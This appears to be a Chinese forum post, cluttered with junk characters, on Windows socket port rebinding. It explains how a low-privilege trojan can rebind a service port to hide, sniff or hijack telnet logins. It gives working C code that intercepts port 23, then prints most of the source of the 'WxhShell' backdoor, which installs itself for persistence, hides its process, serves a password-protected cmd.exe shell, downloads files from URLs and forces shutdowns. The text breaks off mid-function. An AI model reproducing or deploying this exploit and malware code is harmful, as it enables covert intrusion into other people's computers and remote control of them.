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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: eS+g| $cW s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); yNg9X(U /PzcvN
saddr.sin_family = AF_INET; q[3x2sR i;z{zVR saddr.sin_addr.s_addr = htonl(INADDR_ANY); ^T5X)Nu{=C o:S0* bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); C NsNZJ dq\FBwfe 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 6at1bQ$ bWWXc[O2&( 这意味着什么?意味着可以进行如下的攻击: vb
Y3;+M> 6e,xDr 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 =<}<Ny K+*Q@R D 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 6$U]9D /./"x~@ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 dS2G}L^L hR#-u1C 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 F&RgT1* L<^j"!0 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 = ?D(g tVuWVJ4M 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 _"@CGXu ` x8J 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 xu5ia|gYz7 NLS"eDm #include k%s_0
@ #include <BFQ: #include M`YWn ; #include >Fio;cn? DWORD WINAPI ClientThread(LPVOID lpParam); 54lu2gD' int main() mw$r$C{ { 7?j;7.i
s( WORD wVersionRequested; IU FH:w] DWORD ret; M<O{O}t< WSADATA wsaData; Vd^g9 BOOL val; E 99hlY~1: SOCKADDR_IN saddr; $YxBE`)d- SOCKADDR_IN scaddr; (*}yjUYLZ int err; YHNR3 SOCKET s; Snp|!e SOCKET sc; @"a6fn int caddsize; 1 `^Rdi0 HANDLE mt; ca i<,3H DWORD tid; 32DbNEk wVersionRequested = MAKEWORD( 2, 2 ); zgx&Pte err = WSAStartup( wVersionRequested, &wsaData ); L`f^y;Y. if ( err != 0 ) { 5oEV-6 printf("error!WSAStartup failed!\n"); o#) {1<0vg return -1; x:-.+C% } !+>v[(OzM saddr.sin_family = AF_INET; T|J9cgtS L86n}+
P\ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 E )Gw0]G O[tvR:Nh saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Q!-
0xlx saddr.sin_port = htons(23); P-F)%T[ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) W} WI; cI { A.<H>=Z#O printf("error!socket failed!\n"); H]Hv;fcC return -1; fjvN$NgVs } \(226^|j val = TRUE; 8fA_p}wp //SO_REUSEADDR选项就是可以实现端口重绑定的 mxor1P#| if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) !It`+0S
b { QaUm1i# printf("error!setsockopt failed!\n"); X%yO5c\l2 return -1; BA\/YW @ } u]}s)SmDk //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; l/;X?g5+ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 B8E'ddUw //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 4iSa7YqhBT RMMd#/A@} if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) W3`>8v1?o { zJe#m|Z ret=GetLastError(); f{SB1M printf("error!bind failed!\n"); @`\VBW return -1; 6'\6OsH } dJ"iEb|4 listen(s,2); hW{j\@R while(1) *s@Qtgu { U
qG
.:@T caddsize = sizeof(scaddr); +`3!I //接受连接请求 V_plq6z sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); P[s8JDqu if(sc!=INVALID_SOCKET) fw ,\DFHO { Aw&tP[N[ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); *#TUGfwy if(mt==NULL) .<kqJ|SVi { KNH1#30 K printf("Thread Creat Failed!\n"); v<Bynd- break; ECv)v } l5L.5$N } L^Jk=8 CloseHandle(mt); =zwOq(Bh W } ~]ZpA-*@Ut closesocket(s); (O0Urm WSACleanup(); R|i/lEq return 0; H'Yh2a`!o } f/CuE%7BR DWORD WINAPI ClientThread(LPVOID lpParam)
4CGPOc { ^eW}XRI SOCKET ss = (SOCKET)lpParam; J\e+}{ SOCKET sc; JN7k 2]{ unsigned char buf[4096]; N},n `Yl. SOCKADDR_IN saddr; @&[T _l long num; @A)R_p DWORD val; /x3/Ubmz~x DWORD ret; {Zp\^/ //如果是隐藏端口应用的话,可以在此处加一些判断 hYawU@R //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 Ef<b~E@ saddr.sin_family = AF_INET; KK@.~'d saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); N!*_La=TuH saddr.sin_port = htons(23); `^lYw:xA if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) b!M"VDjQ { Nj("|`9" printf("error!socket failed!\n"); fu~+8CE. return -1; Bn>8&w/P } ^ns@O+Fk val = 100; eb*#'\~' if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) EbqcV\Kb { L~ s3b ret = GetLastError(); p!s}=wI` return -1; pmX#E } :d ~|jS if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .7n\d55a { *Vho?P6y\Y ret = GetLastError(); .!JVr"8 return -1; 4
B*0M } OgX6'E\E if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ETB6f { O:da-xWJ printf("error!socket connect failed!\n"); +f[ED4E>'( closesocket(sc); I$8" N]/C closesocket(ss); NH3cq return -1; jM\*A#Jo5 } vVL@K,q while(1) a
^%"7Ri { @)K%2Y` //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 M,ir`"s //如果是嗅探内容的话,可以再此处进行内容分析和记录 C:G8c[ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 -,["c9'3 num = recv(ss,buf,4096,0); Iy }:F8F>g if(num>0) 2.d| G` send(sc,buf,num,0); ]THPSw_y8 else if(num==0) =|=.>?t6Z0 break; x]z2Z* num = recv(sc,buf,4096,0); t='# |'); if(num>0) ;[a|9TPR send(ss,buf,num,0); F]9nB3:W else if(num==0) x"~~l break; &N;-J2M } ] Eh}L closesocket(ss); Y6&wJ< closesocket(sc); 1
E22R return 0 ;
eAqz3#_My } @u1zB: v(pmIb{ h&kZjQ& ========================================================== o-o'z'9 BATG FS& 下边附上一个代码,,WXhSHELL E#s)52z=B =~+DUMBT ========================================================== A=kH%0s2p@ ?-Vjha@BO #include "stdafx.h" 9aJ%`i 8iekEG$H #include <stdio.h> 3"{.37Q #include <string.h> ~xoF6CF #include <windows.h> 77Bgl4P #include <winsock2.h> q7&6r|w1I #include <winsvc.h> w}CmfR #include <urlmon.h> san,|yrMn B4]`-mahO #pragma comment (lib, "Ws2_32.lib") ]~\sA #pragma comment (lib, "urlmon.lib") qgDRu ]ba }mZwd_cK #define MAX_USER 100 // 最大客户端连接数 <r3J0)r} #define BUF_SOCK 200 // sock buffer WQHd[2Z#e #define KEY_BUFF 255 // 输入 buffer <EST?.@~+ T\r@5Xv #define REBOOT 0 // 重启 ~/_SMPLo #define SHUTDOWN 1 // 关机 pa{re,O"e `~cuQ<3Tn
#define DEF_PORT 5000 // 监听端口 1nu^F,M ]G2uk` #define REG_LEN 16 // 注册表键长度 -J^(eog[6 #define SVC_LEN 80 // NT服务名长度 mLL340c#\ 1LJUr"6] // 从dll定义API >fIk;6<{ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); mJM_2Ab typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?)\a_Tn typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,()0'h}n typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); y1/o^d+@ b?eu jxqg // wxhshell配置信息 _A0w[n struct WSCFG { j;Z?WXWDh int ws_port; // 监听端口 ~gu3g^<0v char ws_passstr[REG_LEN]; // 口令 TB;o~>9U int ws_autoins; // 安装标记, 1=yes 0=no 0VK-g}"x char ws_regname[REG_LEN]; // 注册表键名 x\Y $+A,P char ws_svcname[REG_LEN]; // 服务名 5xOv Y char ws_svcdisp[SVC_LEN]; // 服务显示名 VAXT{s&4> char ws_svcdesc[SVC_LEN]; // 服务描述信息 u_).f<mUdF char ws_passmsg[SVC_LEN]; // 密码输入提示信息 V"!G2& int ws_downexe; // 下载执行标记, 1=yes 0=no Y{*u&^0{ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" r `eU~7 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 l
(3bW1{n kD}Y|*]5-5 }; #A8@CA^d HfLLlH<L`& // default Wxhshell configuration ^#0U ?9 struct WSCFG wscfg={DEF_PORT, 7L^%x3-|& "xuhuanlingzhe", pc?>cs8 1, sp*Vqd "Wxhshell", @ps1Dr4s "Wxhshell", 1 tR_8lC "WxhShell Service", C^)*Dsp "Wrsky Windows CmdShell Service", (os$B "Please Input Your Password: ", 6b!F 1 1, OnWx#84 " http://www.wrsky.com/wxhshell.exe", w4LScvBg "Wxhshell.exe" >*wtbkU }; (@#M!' 5 Qoew9rA // 消息定义模块 !u]1dxa char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4Yl; char *msg_ws_prompt="\n\r? for help\n\r#>"; lHV[Ln`\x char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ?i`l[+G char *msg_ws_ext="\n\rExit."; )3h^Y=43 char *msg_ws_end="\n\rQuit."; !s@Rok char *msg_ws_boot="\n\rReboot..."; Dk5Zh+^ char *msg_ws_poff="\n\rShutdown..."; %e@HZ"V char *msg_ws_down="\n\rSave to "; b]a@ "U\JV)N char *msg_ws_err="\n\rErr!"; a[2vjFf#C char *msg_ws_ok="\n\rOK!"; +S))3 5N[ 4R5D88=C char ExeFile[MAX_PATH]; 0KD]j8^ int nUser = 0; . <tq61 HANDLE handles[MAX_USER]; P+)DsZ0ig int OsIsNt; 2[gFkyqe ykrr2x SERVICE_STATUS serviceStatus; @JW@-9/ SERVICE_STATUS_HANDLE hServiceStatusHandle; 4ikd M/ _f6HAGDN // 函数声明 iX\W;V int Install(void); ltFq/M int Uninstall(void); (8ht*b.5K int DownloadFile(char *sURL, SOCKET wsh); *SO{\bu int Boot(int flag); +t2SzQ j> void HideProc(void); V_Wwrhua int GetOsVer(void); #6!5 2 int Wxhshell(SOCKET wsl); V#jWege void TalkWithClient(void *cs); B(F,h+ajy int CmdShell(SOCKET sock); .I@CS>j int StartFromService(void); LOTP*Syjf int StartWxhshell(LPSTR lpCmdLine); <40rYr$/J 9h0X &1u VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wKH ::! VOID WINAPI NTServiceHandler( DWORD fdwControl ); .Q)|vq^ /cZ-tSC)o // 数据结构和表定义 cT\I[9!) SERVICE_TABLE_ENTRY DispatchTable[] = >Yt/]ta4+ { iKas/8 {wscfg.ws_svcname, NTServiceMain}, XW?b\!@ $ {NULL, NULL} (Y^X0yA/ }; z5bo_Eq "@9?QI} // 自我安装 Cg616hyut int Install(void) 3v")J*t { }$\M{#C~ char svExeFile[MAX_PATH]; ?EX"k+G HKEY key; MC,>pR{ strcpy(svExeFile,ExeFile); H'qG/@u-l =YG _z^' // 如果是win9x系统,修改注册表设为自启动 Z#.f&K )xX if(!OsIsNt) { 45&8weXO:' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bZx!0>h RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M _LXg% RegCloseKey(key); >q7BVF6V| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VxzkQ}o RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6'W [{gzl RegCloseKey(key); +ki{H}G21 return 0; ,&4qgp{) } i55x`>]&sb } [&*6_q"V } Z@gnsPN^r else { dSCzx
.c }oJAB1'k // 如果是NT以上系统,安装为系统服务 VB<Jf'NU SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); t!K*pM if (schSCManager!=0) 9dzdrT { wDwH.~3! SC_HANDLE schService = CreateService ?RzD Qy D ( kw`WH)+F schSCManager, )+H[kiN wscfg.ws_svcname, k0Ek:MjJr wscfg.ws_svcdisp, nv<` K9d SERVICE_ALL_ACCESS, B-d(@7,1 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *6BThvg|&X SERVICE_AUTO_START, z>R#H/h+ SERVICE_ERROR_NORMAL, Q o =Kqv svExeFile, yFhB>i NULL, e5Mln!.o NULL, d`d0N5\ NULL, C>Is1i^9 NULL, {RB-lfrWs NULL \Ey~3&x9f ); Dr;iQkGP
if (schService!=0) MlW 8t[ { KS*oxZ CloseServiceHandle(schService); ]4 (?BJ
CloseServiceHandle(schSCManager); [ $fJRR strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); //Ai.Q.J[ strcat(svExeFile,wscfg.ws_svcname); Gs2p5nL< if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { YK{a RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); abxDB RegCloseKey(key); NcCvm# return 0; }`yiT<z } 2l5KJlfj>k } c<#<k}y CloseServiceHandle(schSCManager); \M]-bw` } ^Y{D^\}, } ~Ki`Ze"x H6aM&r9} return 1; ):EBgg4-N } ESb
]}c: O3V.^_k; // 自我卸载 D@X+{ int Uninstall(void) /XS&d%y { /(t sb HKEY key; j<"nO( KjB/.4lLq if(!OsIsNt) { woq)\;CK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { YxJD _R RegDeleteValue(key,wscfg.ws_regname); _{~]/k RegCloseKey(key); G%u9+XV1# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nT#JOmv RegDeleteValue(key,wscfg.ws_regname); x|eeRf| RegCloseKey(key); s~26 return 0; @6o]chJo } djT5X } *R% wUi } N_75-S7Cm else { #fhEc;t T@^]i& SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); N]5m(@h
if (schSCManager!=0) mCKk*5ws5" { b]gY~cbI8 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8Z85D if (schService!=0) f+vVR1 { 3]JZu9# if(DeleteService(schService)!=0) { zGc(Ef5`M6 CloseServiceHandle(schService); Kud'pZ{P CloseServiceHandle(schSCManager); AY_Q""v return 0; o/^;@5\ } TJ6#P<M CloseServiceHandle(schService); 59Sw+iZj } NHX>2-b CloseServiceHandle(schSCManager); \Btk;ivg } [RU
NuO
} oQ+61!5> #f'DEo<b return 1; Y@ F } pw'wWZE' YnV/M,U // 从指定url下载文件 g dj^df+2F int DownloadFile(char *sURL, SOCKET wsh) |)_-Bi;MW` { :u%$0p> HRESULT hr; >CgO<\ char seps[]= "/"; \|Dei);k char *token; GO5 ~!g char *file; _>bRv+RVR char myURL[MAX_PATH]; TA}UY7v char myFILE[MAX_PATH]; +~2rW8 ,yLw$- strcpy(myURL,sURL); iz}sM>^ token=strtok(myURL,seps); Qu{cB^Ga* while(token!=NULL) +_HdX
w# { `{FwTZ=6{ file=token; {,O`rW_eS token=strtok(NULL,seps); 3/M.0}e } i+M*J#' -.vDF?@G GetCurrentDirectory(MAX_PATH,myFILE); 4f1D*id*`# strcat(myFILE, "\\"); qJ[@:&: strcat(myFILE, file); 9EF~l9`'U send(wsh,myFILE,strlen(myFILE),0); &:?e & send(wsh,"...",3,0); 9( VRq^Z1 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); BH : if(hr==S_OK) I^Qx/uTKw return 0; I6OSC&A` else a5`eyL[f return 1; oJaAM|7uv Pl~P- n } WBppKj_M DacJ,in_I{ // 系统电源模块 )@:l^$x int Boot(int flag) ehO:')XF { zsTbdF HANDLE hToken; &^ I+s^\= TOKEN_PRIVILEGES tkp; 9F_6}.O +?N}Y {Y& if(OsIsNt) { Ht=$] Px OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); J^H=i)A LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1
ycc5=. tkp.PrivilegeCount = 1; |PM m?2^ R tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; j.c8}r& AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); L]zNf71RD if(flag==REBOOT) { a20w, if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4'At.<]jL return 0; LR$z0rDEM } q9}2 else { shi
Hy*(v if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) dl/X."iv! return 0; 2Ug.:![ } |"}4*V_ * } DNth4z else { I5pp "*u if(flag==REBOOT) { t9*= if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <lld*IH return 0; =l|>.\- } zv%J=N$G else { ZzL@[g if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) F2oJ]th.3 return 0; <%,'$^'DS } X!0kK8v } VJ1*|r, /e 5\ 9 return 1; anx&Xj|=.F } Q#rt<S1zW IrO+5 w // win9x进程隐藏模块 M]ap: void HideProc(void) 9.Ap~Ay. { Kx]> fHK #Go(tS~o HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); W]LQ &f if ( hKernel != NULL ) IvSn>o { FX 1C
e pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); dIK{MA ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); '?}R4w|) FreeLibrary(hKernel); tP]q4i } ^-L{/'[8M rsSue_Q return; p+D=}O } b{HhS6<K? Qu_EfmN| // 获取操作系统版本 Qk7J[4 int GetOsVer(void) v!!;js^ { {"4<To]z OSVERSIONINFO winfo; P7>IZ >bw winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |LFUzq>j GetVersionEx(&winfo); H0tF if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8m7eaZ return 1;
/Su)|[/' else zv9MHC
& return 0; #J~Xv:LgD } f=oeF]=I" #O6
EP#B // 客户端句柄模块 xvO 3BU~2 int Wxhshell(SOCKET wsl) _>Ln@ { rys<-i( SOCKET wsh; <rMv0y+r struct sockaddr_in client; ,9UCb$mh DWORD myID; zn[QvY '8Qw:f h while(nUser<MAX_USER) !Ud:?U { >e_%M50 int nSize=sizeof(client); q4k`)?k9 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); k1wr/G'H[ if(wsh==INVALID_SOCKET) return 1; 9i[4"&K fn?VNZ`J
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Okoo(dfM if(handles[nUser]==0) |<2
*v-a closesocket(wsh); 4[_L=zD else cI3KB-lM# nUser++; AJ4r/b} } Z*h ;e; WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :R3P 58> #ZF>WoC@e? return 0; 4[(?L{ } rV U:VL`2 9C?cm: // 关闭 socket FRS28D void CloseIt(SOCKET wsh) DOT=U
_ { 59K} closesocket(wsh); CnQg *+ nUser--; x i.IRAZX ExitThread(0); a G@nErdW } yYB NH1 +0U#.|? // 客户端请求句柄 bu&;-Ynb void TalkWithClient(void *cs) #hZQ>zcF { 4D GY6PS Y@ObwKcG SOCKET wsh=(SOCKET)cs; qdO[d|d char pwd[SVC_LEN]; m1i4 , char cmd[KEY_BUFF]; n/?eZx1 char chr[1]; -3\7vpcdN int i,j; u'=(&>< TIETj~+ while (nUser < MAX_USER) { 0 S2v"(_T >KKeV(Ur if(wscfg.ws_passstr) { )]tvwEo if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {Evcc+Eq //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z/n3aYM //ZeroMemory(pwd,KEY_BUFF); "'~|}x1Uv i=0; quY " while(i<SVC_LEN) { A1=_nt)5 /=q.tDH=I // 设置超时 F G3Sk!O6 fd_set FdRead; ,zD_% ox struct timeval TimeOut; **.:) FD_ZERO(&FdRead); h)^dB,~ FD_SET(wsh,&FdRead); jp%+n TimeOut.tv_sec=8; RrKfTiK H TimeOut.tv_usec=0; U>in2u9 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); k06xz#pL if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); HLM;EZ _/ct= if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pFEZDf}: pwd =chr[0]; \WiqN*ZF if(chr[0]==0xd || chr[0]==0xa) { Q:pzL
"bT pwd=0; &adY break; eQ$e*|}"m } 3;y_qwA i++; _Q)d+Fl } |.Em_*VG Z@}sCZ=#A // 如果是非法用户,关闭 socket abL/Y23
" if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); FOc|*>aKP } G
*ds4R?! TNJ<!6 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); uC- A43utv send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qw5&Y$(( W=UqX{-j) while(1) { :4%<Rp B;SzuCW ZeroMemory(cmd,KEY_BUFF); H_Iim[v# Jc`Rs"2 // 自动支持客户端 telnet标准 \Bt=bu>Z j=0; gxI&f while(j<KEY_BUFF) { ~:T3| if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r }ZLf cmd[j]=chr[0]; ^p$1D if(chr[0]==0xa || chr[0]==0xd) { L{Q4=p,A cmd[j]=0; pF|8OB% break; *wViH } jY rym- j++; ZH_FA } stX'yya `0Yt1Z& // 下载文件 C%0<1mp if(strstr(cmd,"http://")) { `'*F1F send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2H[=lY if(DownloadFile(cmd,wsh)) D!X>O} send(wsh,msg_ws_err,strlen(msg_ws_err),0);
"Ys_ \ else 3\7'm] send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >vHH } /X@7ju; else { :-w@^mli #m[vn^8B]y switch(cmd[0]) { @55bE\E?@ ^I@ey*$ // 帮助 tB
GkRd! case '?': { ,c@r`
x send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^CfM|L8> break; -E6J f$ } j \!~9 // 安装 Y_$^:LG case 'i': { =
vY]G5y if(Install()) &1*4%N@' send(wsh,msg_ws_err,strlen(msg_ws_err),0); CKx\V+\O else 4Y`! bT` send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EfFj!)fz break; F# jCEq } y=-{Q // 卸载
A(q~{ case 'r': { |VTWw<{LX if(Uninstall()) V/`#B$6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4Sg<r,G else \H,V 9!B send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +]A+!8%Z break; iPA@<D% } -zPm{a // 显示 wxhshell 所在路径 Dm>T"4B`/ case 'p': { Z"l`e0{ char svExeFile[MAX_PATH]; 6].yRNy" strcpy(svExeFile,"\n\r"); ?nB helW^ strcat(svExeFile,ExeFile); (hpTJsZ send(wsh,svExeFile,strlen(svExeFile),0); :[A?A4l break; |}M~kJ) } pZc9q8j3 // 重启 R"m.&%n case 'b': { 'wCS6_K send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -$AjD?; if(Boot(REBOOT)) 0\V\qAk send(wsh,msg_ws_err,strlen(msg_ws_err),0); DfAiL( else { oN.Mra]D closesocket(wsh); %2^['8t#NH ExitThread(0); Bx\#`Y } }W - K break; d8xk&za } :jZ*,d%1={ // 关机 X4Pm)N` case 'd': { C*"Rd send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +i: E if(Boot(SHUTDOWN)) 9QX&7cs&[ send(wsh,msg_ws_err,strlen(msg_ws_err),0); on]\J else { ~Y1"k]J closesocket(wsh); Hi9 G^Q ExitThread(0);
rE/}hHU } =@bXGMsV! break; Q{%HW4lg } Q.j-C}a // 获取shell 3m-edpH case 's': { 1h#w"4 CmdShell(wsh); I'KR'1z 9 closesocket(wsh); )v*v ExitThread(0); ZkJY.H-F break; &>d:ewM\ } $=\oJ-(!@S // 退出 @qg0u#k5 case 'x': { ~0VwF send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); NUi{!< CloseIt(wsh); pKOT Qf break; H j>L>6> } d_4n0Kh0 // 离开 >GdLEE'w case 'q': { uKLOh<oio send(wsh,msg_ws_end,strlen(msg_ws_end),0); OhA^UP01- closesocket(wsh); /ChJ~g " WSACleanup(); jD&}}:Dj exit(1); k#l'ko/X break; {q5hF5!`) } o`<h=+a\ } 9Q
SUCN_ } :vn0|7W4 UQC'(>.} // 提示信息 dg!1wD if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ')C_An>X6 } K1m!S9d`x } ]pM5?^<~ ~G|{qVO7A return; >#${.+y } 9*GL@_c sg! =Q+ // shell模块句柄 c]cO[T_gGa int CmdShell(SOCKET sock) J@u!S~&r { S>/I?(J STARTUPINFO si; +1JZB*W ZeroMemory(&si,sizeof(si)); z1}tC\9'% si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pAPQi|CN si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ZI#SYEF6 PROCESS_INFORMATION ProcessInfo; \K4CbZ,. char cmdline[]="cmd"; IkE'_F CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ve64-D return 0; PuUon6bZ } D7Rbho< a$+e8> // 自身启动模式 a9mr-`< int StartFromService(void) T }8r;<P6 { p ] $ typedef struct Ggxrj'r { BIb{<tG^N DWORD ExitStatus; "6[Ax{cM DWORD PebBaseAddress; KweHY, DWORD AffinityMask; ek+8hnkh DWORD BasePriority; R'1vjDuv ULONG UniqueProcessId; -\sKSY5{R ULONG InheritedFromUniqueProcessId; ?j^?@%f0
